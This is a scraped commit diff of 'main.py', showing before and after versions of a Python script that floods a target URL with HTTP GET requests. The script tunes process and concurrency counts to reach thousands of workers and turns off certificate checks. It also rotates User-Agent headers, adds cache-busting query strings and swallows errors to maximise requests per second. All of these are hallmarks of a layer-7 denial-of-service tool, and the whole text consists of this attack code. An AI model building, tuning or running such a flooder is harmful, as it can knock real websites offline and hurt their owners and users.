Update main.py
Browse files35 unmodified lines36373839404142434445464748491 unmodified line51525354555657193 unmodified lines25125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229335 unmodified linesTOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)# OPTIMIZED configuration for maximum sustained RPS# Balance: enough workers to saturate bandwidth, not so many they block each otherif CPU_COUNT >= 32:# High-core systems (32-64+ cores)MAX_PROCESSES = CPU_COUNT * 2 # 128 processes for 64 coresMAX_CONCURRENCY_PER_PROCESS = 256 # Higher concurrencyelif CPU_COUNT >= 16:MAX_PROCESSES = CPU_COUNT * 3MAX_CONCURRENCY_PER_PROCESS = 384elif CPU_COUNT >= 8:MAX_PROCESSES = CPU_COUNT * 6 # 48 processes for 8 coresMAX_CONCURRENCY_PER_PROCESS = 7681 unmodified lineMAX_PROCESSES = CPU_COUNT * 4MAX_CONCURRENCY_PER_PROCESS = 512STATS_BATCH_UPDATE_SIZE = 250 # Larger batches = less lock contentionTOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS# --- L7 Enhanced Headers Pool ---193 unmodified linesssl_context.check_hostname = Falsessl_context.verify_mode = ssl.CERT_NONE# High-performance connector settingsconnector = aiohttp.TCPConnector(limit=0, # Unlimited - let OS handle itlimit_per_host=0,ttl_dns_cache=300,force_close=False,enable_cleanup_closed=False,keepalive_timeout=120)# Aggressive timeoutstimeout = aiohttp.ClientTimeout(total=2, connect=1, sock_read=1)async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:async def task_worker(worker_id):"""Tight request loop."""local_counter = 0cache_base = f"?w{worker_id}="while not stop_event.is_set():try:# Ultra-minimal requestasync with session.get(f"{url}{cache_base}{local_counter}",headers={"User-Agent": random.choice(USER_AGENTS),"Connection": "keep-alive"},allow_redirects=False,timeout=timeout) as resp:_ = resp.statuslocal_counter += 1except:pass# Less frequent counter updates for speedif local_counter >= STATS_BATCH_UPDATE_SIZE:with shared_counter.get_lock():shared_counter.value += local_counter35 unmodified lines36373839404142434445464748491 unmodified line51525354555657193 unmodified lines25125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429535 unmodified linesTOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)# OPTIMIZED configuration for maximum sustained RPS# Sweet spot: 8K-16K workers for high-core systemsif CPU_COUNT >= 32:# High-core systems (32-64+ cores) - proven stable at 64 procs × 128 concMAX_PROCESSES = CPU_COUNT # 64 processes for 64 coresMAX_CONCURRENCY_PER_PROCESS = 192 # Slightly higher than 128elif CPU_COUNT >= 16:MAX_PROCESSES = CPU_COUNT * 2MAX_CONCURRENCY_PER_PROCESS = 256elif CPU_COUNT >= 8:MAX_PROCESSES = CPU_COUNT * 6 # 48 processes for 8 coresMAX_CONCURRENCY_PER_PROCESS = 7681 unmodified lineMAX_PROCESSES = CPU_COUNT * 4MAX_CONCURRENCY_PER_PROCESS = 512STATS_BATCH_UPDATE_SIZE = 200 # Optimized batch sizeTOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS# --- L7 Enhanced Headers Pool ---193 unmodified linesssl_context.check_hostname = Falsessl_context.verify_mode = ssl.CERT_NONE# Balanced connector - controlled connection poolconnector = aiohttp.TCPConnector(limit=concurrency * 2, # 2x concurrency for pipelinelimit_per_host=concurrency * 2,ttl_dns_cache=300,force_close=False,enable_cleanup_closed=False,keepalive_timeout=90)# Fast but not too aggressive timeoutstimeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:async def task_worker(worker_id):"""Optimized request loop with keep-alive reuse."""local_counter = 0req_counter = 0headers = {"User-Agent": random.choice(USER_AGENTS),"Connection": "keep-alive","Accept": "*/*"}while not stop_event.is_set():try:# Reuse connections with cache bustingasync with session.get(f"{url}?_={req_counter}",headers=headers,allow_redirects=False) as resp:_ = await resp.read() # Fully consume responselocal_counter += 1req_counter += 1except:req_counter += 1 # Increment even on failure# Batch counter updatesif local_counter >= STATS_BATCH_UPDATE_SIZE:with shared_counter.get_lock():shared_counter.value += local_counter
main.py+28-26